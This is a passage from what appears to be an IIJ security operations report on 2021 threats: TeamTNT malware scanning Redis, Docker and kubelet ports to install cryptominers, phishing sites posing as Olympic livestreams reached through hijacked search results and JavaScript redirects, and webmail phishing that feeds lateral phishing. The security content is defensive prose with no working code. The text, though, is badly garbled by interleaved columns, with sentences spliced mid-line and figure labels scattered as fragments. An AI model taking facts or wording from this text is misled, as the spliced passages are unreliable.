not transient; the scanning continued through the end

malware scans not only 2375/TCP but also 2376/TCP,of 2021. So we recommend checking whether any ser-2377/TCP, 4243/TCP, and 4244/TCP, and our SOC

vices you operate have been unintentionally exposed tohas also observed similar increases in scanning on these

the world. When exposing a service to the outside world,

ports. There are also reports of new attacks targeting

you need to take steps such as setting up an ACL andthe container orchestration service Kubernetes

authentication.

*29,*30*31. Whilethis scanning is smaller in scale than the Redis/Docker
activity, we can confirm that scans targeting 10250/TCP

1.3.4 Observations on Phishing Sites(kubelet), used by Kubernetes, are on the rise.

This section covers phishing sites that our SOC analysts
focused on in 2021. First, we discuss the features of,When the TeamTNT malware scans externally, it scansand our observations on, a phishing site pretending to berandom IP address ranges. So a host may be infected if

a livestream service observed during the 2021 Olympic

it is open to the Internet, and if infected, it will performand Paralympic Games. We then look at a phishing site pre-scans aimed at spreading the malware further. However,tending to be a webmail service and using a sophisticatedmore than half of the 6379/TCP (Redis) and 2375/TCP

attack method.

(Docker) scanning observed in 2021 originated from aparticular cloud provider. It is thought this is because themalware contains source code that disables host security
components used by that cloud provider■ Phishing Site Pretending to be an Olympic Livestream
Serviceand hosts running

The 2020 Tokyo Olympic Games took place over Julyon the platform are thus relatively easy to infect. So hosts

23 – August 8, 2021, and the 2020 Tokyo Paralympic

open to the Internet may be infected by malware, butGames over August 24 – September 5, 2021, a year

because some hosts are more susceptible than others inlater than originally planned. Because of the COVID-19

this way, there is a skew toward certain hosts in terms of

pandemic, most venues were closed to spectators, andthe source of scans.

the Games were broadcast live on TV and the Internet.

*28

Phishing sites pretending to offer livestreams of theThis section has discussed the increase in scanning

Olympic Games appeared during the event*32, and peopleon 6379/TCP (Redis) and 2375/TCP (Docker). Whenreported on external Q&A sites that they had accessed

TeamTNT malware infects these services, they canthese sorts of phishing sites and been duped into entering

download and run mining tools. These attacks were

their email address and password.

*30

Trend Micro, “Compromised Docker Hub Accounts Abused for Cryptomining Linked to TeamTNT” (https://www.trendmicro.com/en_us/research/21/k/compromised-docker-hub-accounts-abused-for-cryptomining-linked-t.html).

*31

Palo Alto Networks, “Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes” (https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/).

*32

Trend Micro, “Tokyo Olympics Leveraged in Cybercrime Attack” (https://www.trendmicro.com/en_us/research/21/h/tokyo-olympics-leveraged-in-cybercrime-attack.html).

© Internet Initiative Japan Inc.

15

Our SOC also observed many such phishing sites. The

Our SOC observed access to such phishing sites during

phishing sites observed had an image of a video player in

the Olympics. Figure 9 shows traffic to phishing sites as

the center of the screen (Figure 8). The title of the pagea percentage of total observed on the IIJ Secure Web

said “Japan vs. Mexico Women’s Softball Live Broadcast”

Gateway Service from July to September. The data arein Japanese, and an image of a baseball field appeared

normalized so that total traffic to phishing sites over thein the background, so it seems to have been targeting

period corresponds to 100% on the vertical axis.

Japanese viewers wanting to watch the softball. Clicking
the play button in the center of the screen does not play

Over the period, activity was highest on July 21, ac-

the match but instead displays a screen showing the NHK

counting for 18.01% of the total. This was the date oflogo and asking the user to create an account. In addition

the first softball match in the opening round (Japan vs.

to that shown in Figure 8, phishing sites pretending toAustralia). A lot of traffic to phishing sites was subse-

offer livestreams of the Olympic opening ceremony andquently observed during the Olympic Games proper (Julyof the Japanese team’s soccer matches were also seen

23 – August 8), and traffic was also observed duringin the wild.

the Paralympic Games (August 24 – September 5). An

Figure 8: Example of Phishing Site Screen

(%)
20
18
16
Proportion of total

14
12
10
8
6
4
2

Figure 9: Traffic to Phishing Sites (July–September 2021)

16© Internet Initiative Japan Inc.

30
p.
Se

23
p.
Se

16
p.
Se

9
p.
Se

2
p.
Se

6
.2
Au
g

9
.1
Au
g

2
.1
Au
g

.5
Au
g

29
l.
Ju

22
l.
Ju

15
l.
Ju

l.

8

(Date)

Ju

Ju

l.

1

0

May.2022

Vol.

54

1. Periodic Observation Report

investigation into traffic to phishing sites revealed thatcausing the user to visit the phishing site. So a visit to apeople were accessing them via search engines in thecompromised website may result in the user being forcibly

following manner.

redirected to a phishing site.

1. User searches via a search engine such as Google or

Other phishing sites that similarly pretend to offerYahoo

livestreams of golf, soccer, etc. have appeared after

2. User visits a compromised website

the Olympics as well. Attackers may be using legitimate

3. User visits a website built with a specific blogging

sites that have been compromised to display sites at theservice

top of search results. So users need to be careful not to

4. User visits the phishing site

carelessly click on sites even when they are at the topof search results. The Anti-Phishing Council of Japan’s

Given that most visits to phishing sites started with a

Anti-Phishing Guidelines*33 are also worth reviewing.

search engine search followed immediately by a visit to acompromised website (that has been tampered with), the■ Phishing Sites Pretending to be Webmail Services

compromised websites may have been displayed at the top

In 2021, our SOC observed numerous phishing sitesof the search results when users accessed them. Anotherpretending to be webmail services and designed to stealfeature of this activity was that the time between visiting

account details. Phishing sites designed to steal information

the compromised website and reaching the phishing site wasare not uncommon these days, but attack methods areshort. This is probably because the users were redirected bybecoming more sophisticated every year, making it

JavaScript code on the sites. Specifically, the sites in Step

difficult to stay ahead and prevent harm. Here, we look at

2 have JavaScript code in the onerror attribute of img tags,

one particular case observed by our SOC.

and by deliberately causing an error, the user is made tovisit the site in Step 3, which is specified in the location.

Figure 10 is an example of a phishing email observed byhref property. On the site in Step 3, the location.replace

our SOC. The attacker pretends to be a service provider

method is used in a script tag to specify the Step 4 URL,

and leads the user to a phishing site by pretending that

Figure 10: Example of Phishing Email*33

Council of Anti-Phishing Japan, “Anti-Phishing Guidelines—2021 Edition” (https://www.antiphishing.jp/report/antiphishing_guideline_2021.pdf, in Japanese).

© Internet Initiative Japan Inc.

17

there is a maintenance issue or system problem. Whenis in use even if the user does not enter a password or

the email is displayed in HTML format, the anchor text ofother information, so the address may be seen as offering

the link in the email body will show the service provider’sa high probability of attack success and thus subsequently

legitimate site, while the actual link destination may be

be used in other attacks.

a phishing site. In some cases, the email body is very
similar to what the service operator actually sends its

If the user enters a password and clicks the Login button,users, and if the user has seen similar notifications froman error message is displayed, and while the browser

the provider in the past, this may increase the likelihood

does not move to a post-login screen, the informationof the user not noticing the minor differences and thus

entered is obtained by the attacker at this point. We haveaccessing the malicious site.

confirmed that attempts to log in again will result in theuser being taken to the legitimate webmail service’s login

When you visit the link in the email body, the form’s username

screen. This is probably so that, even if the failed login

field already contains the phishing email recipient’s

attempt seems suspicious, the user may not notice that

address. This is because the site is set up to prepopulate

they were on a phishing site. Account details stolen in

the field with the email address specified in the phishing

this manner may be used to send emails targeting othersite’s URL parameter. This is no doubt intended to makeusers and thus cause additional harm. This is called lateral

it look like the email address is appearing due to a cookie

phishing, and as more and more users are duped via thesaved by the Web browser so as to make the user thinkcycle depicted in Figure 12, the attacker is able to send

they have previously visited the site.

emails from an increasingly long list of addresses.

And by including the email address in the URL, the attacker

The majority of phishing sites observed by our SOC were

can see from access logs and the like that the email address

constructed by tampering with legitimate websites. We

Attacker(1) Attacker uses a compromised account to send
emails directing people toa phishing site(4) Attacker exploits
the account details(2) Recipients click thelink in the email
body and access thephishing site(3) Recipients enter theiraccount details into thephishing site
Figure 11: Example of Phishing Site

18

Figure 12: Cycle of Harm in Lateral Phishing© Internet Initiative Japan Inc.

Victims

May.2022

Vol.

54

1. Periodic Observation Report

have confirmed that these phishing sites use the same

1.4 Conclusion

content as legitimate services, and that the phishing sites

This report covered security topics and a range of

behave in similar ways. Also, phishing sites linked to in

observations that our SOC analysts focused on in 2021.

email bodies are seldom used on an ongoing basis, andNotwithstanding the discussions in Sections 1.2 and 1.3,

attackers tend to switch to different websites in quick

the use of external services such as cloud computing

succession.

and the like in recent times means that threats exist allover the place, including where your organization may be

In light of all this, it looks like attackers gather information

unable to get at them. So you need to gather relevanton compromisable websites and prepare content in advance

information, understand the situation, and implement

to make it easy to create phishing sites so that they canswift responses on that basis. We will continue to publish

build numerous such sites in a short space of time,

information on threats observed via our Data Analytics

allowing them to mount attacks on a continuous basis

Platform, key security topics, and the like in the hopesby targeting the window between when they initiate anthat it will prove useful to you in your security responses

attack and when security products identify the phishingand operations.

site as a threat and thus block access to it.

Hiroyuki Kamogawa
Security Operations Center, Security Business Department, Advanced Security Division, IIJ

Junya Yamaguchi
Security Operations Center, Security Business Department, Advanced Security Division, IIJ

Shun Morishita
Security Operations Center, Security Business Department, Advanced Security Division, IIJ

Shimpei Miyaoka
Security Operations Center, Security Business Department, Advanced Security Division, IIJ© Internet Initiative Japan Inc.

19